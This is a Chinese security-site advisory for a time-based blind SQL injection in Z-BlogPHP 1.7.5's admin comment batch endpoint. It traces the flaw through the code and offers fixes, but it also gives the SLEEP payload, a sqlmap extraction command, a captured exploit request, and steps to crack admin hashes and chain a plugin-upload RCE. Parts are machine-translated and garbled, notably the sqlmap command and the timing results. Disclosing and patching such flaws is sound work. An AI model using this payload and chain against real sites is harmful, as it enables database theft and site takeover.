首页 网络安全 正文

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

摘要

栋科技漏洞库关注到 Z-BlogPHP 后台评论批量管理 SQL 注入漏洞,该漏洞现已经被追踪为CVE-2026-52521,漏洞的CVSS评分未知。

Z-BlogPHP 是国内老牌开源建站程序,MIT 开源协议,既可做个人博客,也可凭借插件扩展成为轻量化通用 CMS,长期持续更新维护。

一、基本情况

Z-BlogPHP 是一款基于 PHP + MySQL 的轻量级开源博客系统,安装包体积小巧,部署流程极简,自带模板引擎,模板语法简单易懂。

Z-BlogPHP采用简易MVC架构,搭配完整钩子 Hook 事件体系,插件依靠钩子挂载功能,无需修改内核即拓展能力,实现松耦合扩展。

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

Z-BlogPHP贴合国内用户使用习惯,中文文档、社区完善,运维、排错门槛低,程序内核稳定,迭代多年漏洞少,支持后台在线升级。

栋科技漏洞库关注到 Z-BlogPHP 后台评论批量管理 SQL 注入漏洞,该漏洞现已经被追踪为CVE-2026-52521,漏洞的CVSS评分未知。

二、漏洞分析

CVE-2026-52521漏洞是一个 Z-BlogPHP SQL 注入漏洞,其影响版本包括 Z-BlogPHP 1.7.5(含 v1.7.5.3540 等所有 1.7.5.x 发行版)。

该漏洞源于其后台评论批量管理接口在处理 id 参数时将数组元素直接拼接进 SQL 的 IN 子句而未做转义或参数化绑定,

导致任意已登录用户可在 CommentBat 功能上构造 id[] 触发 SQL 注入并遍历读取数据库敏感数据。

由于其 zb_system/cmd.php 在 act=CommentBat 分支调用 BatchComment(),

BatchComment() 在 zb_system/function/c_system_event.php 中将 $_POST['id'] 直接传入 GetCommentByArray(),

再由 zb_system/function/lib/zblogphp.php 的 GetListTypeByArray() 通过 implode(',', $array) 拼入 SQL 的 WHERE ... IN 子句,

绕过了 buildWhere_Single() 对非数组值的参数化逻辑。

具体来说,漏洞存在于Z-BlogPHP后端注释批处理管理模块(zb_system/cmd.php:169)中。

当BatchComment()处理id[]数组参数时,

它通过implode()将数组元素连接到SQL查询的IN子句中,而无需任何过滤或参数化绑定。

攻击者只需要编写id[]=-1)或SLEEP(N)#来关闭括号并执行基于时间的盲SQL注入,

逐个字符提取所有数据库数据(包括管理员密码哈希)。

详细分析如下:

受影响版本:Z-BlogPHP <= 1.7.5

漏洞类型:SQL注入(基于时间的盲)

(一)攻击条件:

1、任何登录用户

2、必须在后端启用注释功能(ZC_Comment_TURNOFF=0,默认禁用)

CNVD分类:通用软件漏洞

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

(二)脆弱性概念:

此漏洞属于“SQL注入”类型。Z-BlogPHP后端注释批处理管理接口包含一个SQL注入漏洞,其利用流程如下:

1、攻击者向/zb_system/cmd.php发送POST请求?act=CommentBat,id[]数组参数携带恶意SQL语句

2、系统通过BatchComment()->GetListTypeByArray()处理此数组。

在构造IN子句时,内爆(',',$array)的结果直接连接到SQL模板WHERE($field IN($value[2]))中,

buildWhere_Single()在检测到非数组值后跳过参数化绑定。

3、通过制作id[]=-1)或SLEEP(N)#来关闭周围的括号,攻击者可以启动基于时间的盲注入,逐个字符提取所有数据库数据。

4、如果成功提取管理员密码哈希(MD5),则可以离线破解。

登录后端后,攻击者可以利用CVE-2026-6650(插件上传RCE)上传恶意插件,实现远程代码执行。

5、缺陷位置:在zblogphp.php中:2715,GetListTypeByArray()不转义或参数化数组元素;

SQL构建器(global.php:678)直接将非数组值输出到SQL语句中。

(三)核心风险:

攻击者只需登录,就可以对数据库执行基于时间的自动盲注入,提取所有敏感数据,包括管理员密码哈希。

结合离线破解或其他漏洞,这最终可能导致服务器完全受损。

(四)严重性

自我评估严重程度:高

具体影响:

凭证盗窃:

攻击者可以使用基于时间的盲注入逐个字符地从zbp_amber表中提取所有用户的密码哈希值(md5(md5,明文).gid)和盐值guid。

结合离线MD5破解,可以恢复弱密码,直接获得管理员权限。

完整数据库数据泄漏:注入点具有完整的数据库读取能力,允许从数据库表中提取任何敏感数据。

自动批量攻击:盲注射请求不需要交互;攻击者可以使用脚本对互联网上的任何Z-BlogPHP网站进行批量数据盗窃。

(五)影响范围:

FOFA语法:header=“产品:Z-BlogPHP”

根据FOFA搜索引擎的统计数据,互联网上大约有85万多个网站部署了Z-BlogPHP系统。

所有使用启用了评论和用户注册的受影响版本的网站都可能面临风险。

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

(六)漏洞详细信息:

漏洞位置:

zb_system/cmd.php:171,在CommentBat操作期间,首先验证Token,然后调用BatchComment()函数:

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

其函数声明位于zb_system/function/c_system_event.php中:1261,

它使用GetCommentByArray()函数首先检查all_del、all_pass或all_audit参数的存在,再通过POST传递的id数组参数检索注释数据:

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

在zb_system/function/lib/zblogphp.php中找到:2969,声明此方法并调用GetListTypeByArray()函数来查询数组列表:

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

继续到zb_system/function/lib/zblogphp.php:2715,

在GetListTypeByArray()函数体中,处理IN子句时,数组元素不会转义,而是直接连接到SQL中,从而导致注入。

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

三、POC概念验证

(一)测试环境

源代码版本:Z-BlogPHP v1.7.5(官方发布包,MD5:59F714AC5B7AB3335B8852317D53DBA5)

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

运行时环境:phpstudy-pro v8.1(PHP 8.0.2+Apache 2.4.39+MySQL 5.7)

测试系统:Windows 11 x64

复制日期:2026年5月25日

(二)复制步骤

步骤1:确认满足漏洞触发条件

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

登录用户必须能够正常发表评论。然后发表任何评论:

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

步骤2:在后端评论管理中注入有效负载

登录后端获取CSRF Token,选择刚刚发布的评论,点击批准或删除:

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

捕获请求数据包,将id参数更改为SQL注入有效负载:-1)或SLEEP(N)#:

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

SLEEP(2)和SLEEP的服务器响应时间分别为300ms和500ms,正确对应并确认了SQL注入的存在。

步骤3:SQLmap数据库提取

使用sqlmap自动提取数据库信息。将上述请求包保存到zblog.txt(见附录),并使用以下命令自动提取数据库表名:

python\sqlmap.py-r zblog.txt--前缀=“-1))或--后缀=“#”--dbms=mysql--批处理-D“zblog_new”-表

Z-BlogPHP后台评论SQL 注入漏洞CVE-2026-52521

可以提取更多的数据库用户以获得哈希值或其他敏感信息。

第四步:开发后

获取hash+guid后,使用hashcat或基于脚本的离线破解来恢复密码,并登录后端以获得管理员权限。

如果成功破解了管理员明文密码,请登录后端并利用公开披露的CVE-2026-6650(AppCentre插件上传RCE)上传恶意插件。

(三)六条建议:

1、IN子句的参数化绑定:

将GetListTypeByArray()中通过内爆(',',$array)连接的字符串替换为传递一个完整的数组,

并让SQL构建器转义每个元素以生成参数化查询。

2、在SQL Builder中添加类型验证:在buildWhere_Single()中,严格验证In/NOT In运算符的$value[2],

拒绝执行,并在值不是数组时记录警报。

3、BatchComment()的输入验证:验证$_POST['id']数组中每个元素的类型,确保它们是整数;过滤掉非整数值。

提交者声明:此漏洞是在官方Z-BlogPHP v1.7.5原始版本中独立发现并在本地验证的。

测试过程没有影响任何真实的互联网系统。它于2026年5月25日提交给CNVD,等待CNVD ID的分配。

(四)附录:

zblog.txt请求数据包:

[/lv]

POST /zb_system/cmd.php?act=CommentBat HTTP/1.1
Host: zblognew.cms:12311
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0
Origin: http://zblognew.cms:12311
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://zblognew.cms:12311/zb_system/admin/index.php?act=CommentMng
Accept-Encoding: gzip, deflate, p
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: http304ok=1; timezone=8; username_7669adb3=comment; token_7669adb3=62ac6153085b8b45e07ce5f5b556fbb3a778f863d9107b96683aa98739e36cce1779759263; zbp_userinfo_name=comment; zbp_userinfo_email=null@null.com; zbp_userinfo_homepage=; captcha_4021785176=2f4e95dab9b6df4e996348830babdb00; username_36b1e024=comment; token_36b1e024=1fa3ecf599a449721feaf8e87d96ffdb793479ff12b632e41fceab4110767acc1779765289; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A0%2C%22levelname%22%3A%22%5Cu8bc4%5Cu8bba%5Cu8005%22%2C%22userid%22%3A%222%22%2C%22useralias%22%3A%22comment%22%7D
Connection: keep-alive

all_del=%E5%88%A0%E9%99%A4%E6%89%80%E9%80%89%E9%A1%B9%E7%9B%AE&csrfToken=317be7a4b7f26bb766d6f2d170de8ff0&id%5B%5D=*

[/lv]

四、影响范围

Z-BlogPHP <= 1.7.5

五、修复建议

Z-BlogPHP > 1.7.5

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接